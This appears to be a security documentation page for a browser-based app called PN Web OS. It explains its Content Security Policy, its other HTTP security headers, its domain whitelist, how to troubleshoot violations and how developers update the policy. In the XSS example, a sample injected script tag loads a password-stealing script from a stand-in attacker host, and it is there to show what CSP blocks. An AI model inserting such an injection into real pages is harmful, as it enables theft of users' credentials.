Back to Security Overview

Browser Security & CSP Headers

Understanding Content Security Policy headers and browser-level protections in PN Web OS

Implemented November 6, 2025XSS ProtectionClickjacking Prevention

1. Overview & Purpose

PN Web OS implements HTTP Security Headers to protect your browser environment from common web attacks. These headers are sent by our server (Vercel) and enforced by your browser, providing an additional layer of security beyond our client-side encryption.

Key Insight

Even though PN Web OS is client-side-first (your data never leaves your browser unencrypted), browser security headers protect you from malicious code that might try to exploit your browser while you're using the app. Think of it as a firewall for your browser session.

Why This Matters for Client-Side Architecture

You might wonder: "If PN Web OS runs entirely in my browser, why do we need server-sent security headers?"

Protection Against XSS

CSP headers prevent injected malicious scripts from running in your browser, even if a vulnerability exists in our code or dependencies. This protects your master key, passwords, and files.

Clickjacking Prevention

Prevents attackers from embedding our login page in an invisible iframe on malicious websites, where they could trick you into entering your password.

Data Exfiltration Limits

Even if malicious code somehow runs, CSP restricts where it can send data. Only whitelisted external APIs (blockchain explorers, Web3 services, etc.) are allowed.

2. What is Content Security Policy (CSP)?

Content Security Policy is a browser security feature that allows web applications to declare which resources (scripts, styles, images, network connections) are allowed to load and execute.

How CSP Works

1

Server Sends Header

When you visit pn.com, Vercel sends an HTTP header: Content-Security-Policy: ...

2

Browser Enforces Policy

Your browser (Chrome, Firefox, Safari, etc.) reads this header and enforces the rules for the entire session.

3

Violations Are Blocked

If any code tries to violate the policy (e.g., load a script from an unapproved domain), the browser blocks it and logs a violation to the console.

Example: Preventing XSS

Without CSP

An attacker finds a way to inject this malicious code into our app:

<script src="https://evil.com/steal-passwords.js"></script>

❌ Without CSP, this script loads and runs, potentially stealing your data.

With CSP

Our CSP policy only allows scripts from trusted domains:

script-src 'self' https://cdn.jsdelivr.net https://js.stripe.com

✅ Browser blocks the script from evil.com and logs: Refused to load script from 'https://evil.com' because it violates CSP

3. Our CSP Implementation

PN Web OS uses a conservative CSP policy that balances security with functionality. Here's what we allow and why.

CSP Directives Explained

default-src 'self'STRICT

Default policy: Only allow resources from our own domain (pn.com) unless explicitly overridden below.

script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdn.jsdelivr.net https://js.stripe.comPERMISSIVE

JavaScript execution:

  • 'self' - Our own scripts
  • 'unsafe-inline' - Required for Next.js theme switching (prevents flash of unstyled content)
  • 'unsafe-eval' - Required for WebAssembly (WABT compiler in IDE)
  • cdn.jsdelivr.net - JavaScript CDN for libraries
  • js.stripe.com - Stripe payment processing
style-src 'self' 'unsafe-inline' https://fonts.googleapis.comPERMISSIVE

CSS styles: Allow inline styles (required for Tailwind CSS) and Google Fonts

img-src 'self' data: blob: https:MODERATE

Images: Allow images from all HTTPS sources (needed for NFT images, avatars, blockchain data)

connect-src 'self' [40+ whitelisted domains]STRICT

Network connections (fetch, XHR, WebSocket): Only allow connections to explicitly whitelisted external APIs

View whitelisted categories
  • • Web3 APIs (CoinGecko, Moralis, Alchemy, 1inch)
  • • RPC endpoints (Ethereum, Polygon, BSC, Arbitrum, Base)
  • • Block explorers (Etherscan, Polygonscan, BSCScan, etc.)
  • • IPFS gateways (Pinata, Cloudflare, Infura, Web3.Storage)
  • • ENS metadata, Stripe API, PeerJS (WebRTC)
  • See full list →
frame-ancestors 'none'CRITICAL

Clickjacking protection: Prevent PN Web OS from being embedded in iframes on other websites

Additional Security Headers

HeaderValuePurpose
Strict-Transport-Securitymax-age=63072000Force HTTPS for 2 years (HSTS)
X-Content-Type-OptionsnosniffPrevent MIME type sniffing
X-Frame-OptionsDENYClickjacking protection (backup)
X-XSS-Protection1; mode=blockLegacy XSS filter (older browsers)
Referrer-Policystrict-origin-when-cross-originPrivacy: limit referrer information
Permissions-Policycamera=(self), microphone=(self)...Control browser feature access

4. What We Protect Against

Attacks We Mitigate ✅

Cross-Site Scripting (XSS)

Attack: Attacker injects malicious JavaScript into our app (via vulnerability or compromised dependency)

Protection: Even if injection succeeds, CSP prevents the script from loading external attack servers or exfiltrating data to non-whitelisted domains

Clickjacking

Attack: Malicious website embeds our login page in an invisible iframe, tricking you into entering your password while you think you're clicking something else

Protection: frame-ancestors 'none' and X-Frame-Options: DENY prevent PN Web OS from being embedded in any iframe

Data Exfiltration via Compromised Dependencies

Attack: A malicious npm package in our dependency chain tries to send your data to attacker-controlled servers

Protection: CSP connect-src whitelist blocks network requests to non-approved domains

Man-in-the-Middle (MITM) Downgrade Attacks

Attack: Attacker on your network tries to downgrade your connection from HTTPS to HTTP to intercept traffic

Protection: Strict-Transport-Security (HSTS) forces your browser to always use HTTPS for 2 years, even if you type "http://pn.com"

MIME Type Confusion Attacks

Attack: Attacker tricks browser into interpreting a non-executable file (like an image) as JavaScript

Protection: X-Content-Type-Options: nosniff forces browser to respect declared content types

Limitations ⚠️

CSP headers protect against browser-level attacks, but they don't protect against:

Compromised Browser/OS: If your browser or operating system has malware (keyloggers), CSP cannot protect you
Physical Access: If someone has physical access to your unlocked computer while logged in
Social Engineering: CSP cannot prevent you from voluntarily giving your password to an attacker
Zero-Day Browser Vulnerabilities: If your browser has a security vulnerability, CSP enforcement may be bypassed

5. External Domain Whitelist

PN Web OS connects to 40+ external APIs for Web3, blockchain, and P2P functionality. Every domain is explicitly whitelisted in our CSP policy.

Why This List Matters

If malicious code tries to send your data to a non-whitelisted domain (e.g., evil.com), the browser will block the request. This is a critical defense-in-depth measure.

Web3 & Blockchain APIs

api.coingecko.com(crypto prices)
deep-index.moralis.io(NFT metadata)
*.alchemy.com(blockchain data)
mempool.space(Bitcoin API)
blockchain.info(Bitcoin data)
yields.llama.fi(DeFi yields)
api.1inch.dev(DEX aggregator)

RPC Endpoints (Blockchain Nodes)

eth.llamarpc.com(Ethereum)
rpc.ankr.com(Multi-chain)
polygon-rpc.com(Polygon)
bsc-dataseed.binance.org(BSC)
mainnet.base.org(Base)
arb1.arbitrum.io(Arbitrum)

+ 6 testnet RPC endpoints (Sepolia, Mumbai, Goerli, etc.)

Block Explorers

etherscan.io
polygonscan.com
bscscan.com
arbiscan.io
basescan.org

+ 6 testnet explorers

IPFS Gateways

ipfs.io
cloudflare-ipfs.com
gateway.pinata.cloud
ipfs.infura.io
w3s.link
nftstorage.link

+ Pinata & Web3.Storage APIs

Other Services

metadata.ens.domains(ENS avatar/metadata)
api.qrserver.com(QR code generation for TOTP)
api.stripe.com(payment processing)
wss://peerjs.com(WebRTC P2P signaling)
cdn.jsdelivr.net(JavaScript CDN)
fonts.gstatic.com(Google Fonts)
opensea.io(NFT marketplace)
testnets.opensea.io(NFT marketplace testnet)

For Developers

If you need to add a new external API, you must update the CSP whitelist in next.config.js. See Section 7: For Developers for instructions.

6. Troubleshooting CSP Violations

For Technical Support: This section helps diagnose CSP-related issues that users might encounter.

How to Check for CSP Violations

Step 1: Open Browser DevTools Console

  • Chrome/Edge: Press F12 or Ctrl+Shift+J (Windows) / Cmd+Option+J (Mac)
  • Firefox: Press F12 or Ctrl+Shift+K
  • Safari: Enable Developer menu (Preferences → Advanced → "Show Develop menu"), then press Cmd+Option+C

Common CSP Violation Messages

"Refused to connect to ... because it violates CSP"

Refused to connect to 'https://example-api.com/data' because it violates the following Content Security Policy directive: "connect-src 'self' ..."

Cause: App tried to connect to an external API not in the whitelist

Impact: Feature relying on that API will not work

Solution: If this is a legitimate API needed for PN Web OS, contact developers to add it to the whitelist

"Refused to load the script ... because it violates CSP"

Refused to load the script 'https://untrusted-cdn.com/script.js' because it violates the following Content Security Policy directive: "script-src 'self' ..."

Cause: App tried to load JavaScript from non-whitelisted source

Impact: Script does not run; potential XSS attack prevented

Solution: This is usually malicious or erroneous code. If legitimate, developer must add source to whitelist

"Refused to display ... in a frame because it violates CSP"

Refused to display 'https://pn.com/webos' in a frame because an ancestor violates the following Content Security Policy directive: "frame-ancestors 'none'"

Cause: Someone tried to embed PN Web OS in an iframe (clickjacking attempt)

Impact: PN Web OS cannot be loaded in iframe (this is intentional and good)

Solution: No action needed - this is working as intended for security

User-Reported Issues: Troubleshooting Guide

Issue: "Feature X is not working"

  1. 1. Ask user to open DevTools console (instructions above)
  2. 2. Ask user to reproduce the issue while console is open
  3. 3. Look for CSP violation errors (red text containing "violates CSP" or "Refused to...")
  4. 4. If CSP violation found:
    • • Note the blocked domain/resource
    • • Check if it's a legitimate service for PN Web OS
    • • If legitimate: Escalate to developers to update CSP whitelist
    • • If unknown: Potential security issue - report to security team
  5. 5. If no CSP violation: Issue is unrelated to CSP

7. For Developers: Adding External APIs

If you need to integrate a new external API or service into PN Web OS, you must update the CSP whitelist.

Step-by-Step: Updating CSP Whitelist

1

Open next.config.js

File location: /next.config.js

2

Find the headers() function

Look for the async headers() function around line 24

async headers() {
  return [
    {
      source: '/:path*',
      headers: [
        {
          key: 'Content-Security-Policy',
          value: [...] // CSP directives here
        }
      ]
    }
  ]
}
3

Identify the correct directive

Choose the appropriate CSP directive based on what you're adding:

  • script-src - External JavaScript files
  • connect-src - API endpoints (fetch/XHR/WebSocket)
  • img-src - Image sources
  • frame-src - Embedded iframes
  • font-src - Font files
  • style-src - External stylesheets
4

Add your domain to the whitelist

Most commonly, you'll be adding to connect-src for APIs:

"connect-src 'self' " +
  // Web3 APIs
  "https://api.coingecko.com " +
  "https://deep-index.moralis.io " +
  // ... existing domains ...
  "https://your-new-api.com " + // ← Add your domain here
  // ... more domains ...
5

Add a comment documenting the addition

"https://your-new-api.com " + // YourService API (added 2025-11-XX for Feature Y)
6

Test locally

npm run dev

Open DevTools console and verify no CSP violations when using the new API

7

Build and deploy

npm run build
git commit -m "Add [service] to CSP whitelist for [feature]"
git push

Important Security Note

Only whitelist domains you trust. Every whitelisted domain is a potential data exfiltration target if compromised. Verify the domain is using HTTPS and is a reputable service.

8. Technical Implementation Details

For security researchers and advanced developers who want to understand the complete implementation.

Implementation File

next.config.js:24-181

CSP headers are configured in Next.js headers() function and sent by Vercel edge runtime

Backup: /backup/20251106_060354_csp_implementation/next.config.js.backup

Implementation Plan: /backup/20251106_060354_csp_implementation/CSP_IMPLEMENTATION_PLAN.md

Date Implemented: November 6, 2025

Complete CSP Policy

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdn.jsdelivr.net https://js.stripe.com; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; img-src 'self' data: blob: https:; font-src 'self' data: https://fonts.gstatic.com; connect-src 'self' https://api.coingecko.com https://deep-index.moralis.io https://*.alchemy.com https://mempool.space https://blockchain.info https://yields.llama.fi https://api.1inch.dev https://eth.llamarpc.com https://rpc.ankr.com https://polygon-rpc.com https://bsc-dataseed.binance.org https://mainnet.base.org https://base.llamarpc.com https://arb1.arbitrum.io https://rpc.sepolia.org https://rpc2.sepolia.org https://rpc-mumbai.maticvigil.com https://goerli-rollup.arbitrum.io https://goerli.base.org https://data-seed-prebsc-1-s1.binance.org:8545 https://etherscan.io https://goerli.etherscan.io https://sepolia.etherscan.io https://polygonscan.com https://mumbai.polygonscan.com https://bscscan.com https://testnet.bscscan.com https://arbiscan.io https://goerli.arbiscan.io https://basescan.org https://goerli.basescan.org https://ipfs.io https://cloudflare-ipfs.com https://gateway.pinata.cloud https://ipfs.infura.io https://w3s.link https://nftstorage.link https://api.pinata.cloud https://api.web3.storage https://metadata.ens.domains https://api.qrserver.com https://api.stripe.com wss://peerjs.com https://peerjs.com https://opensea.io https://testnets.opensea.io; worker-src 'self' blob:; frame-src 'self' https:; frame-ancestors 'none'; form-action 'self'; base-uri 'self'; object-src 'none'; media-src 'self' blob:; manifest-src 'self'; upgrade-insecure-requests

Related Security Infrastructure

/lib/webos/modules/security/CSPEnforcer.ts

Client-side CSP enforcement module (374 lines) - Provides additional CSP enforcement for iframe and worker contexts. Complements HTTP headers with meta tag-based policies.

/lib/webos/services/auth-service.ts

Authentication service - 100% client-side authentication that CSP headers protect from credential theft via XSS

Future Enhancements (Not Yet Implemented)

Phase 2: Nonce-Based CSP

Replace 'unsafe-inline' with per-request nonces generated in Next.js middleware. This would eliminate the need for 'unsafe-inline' while maintaining functionality.Effort: Medium. Security Benefit: High (eliminates inline script attack vector).

Phase 3: CSP Report-Only Mode

Before tightening CSP policies, deploy with Content-Security-Policy-Report-Only header to monitor violations without blocking resources. Effort: Low. Benefit: Risk-free testing.

Phase 4: Subresource Integrity (SRI)

Add SRI hashes to external scripts (cdn.jsdelivr.net) to verify they haven't been tampered with.Effort: Low. Benefit: Protection against compromised CDNs.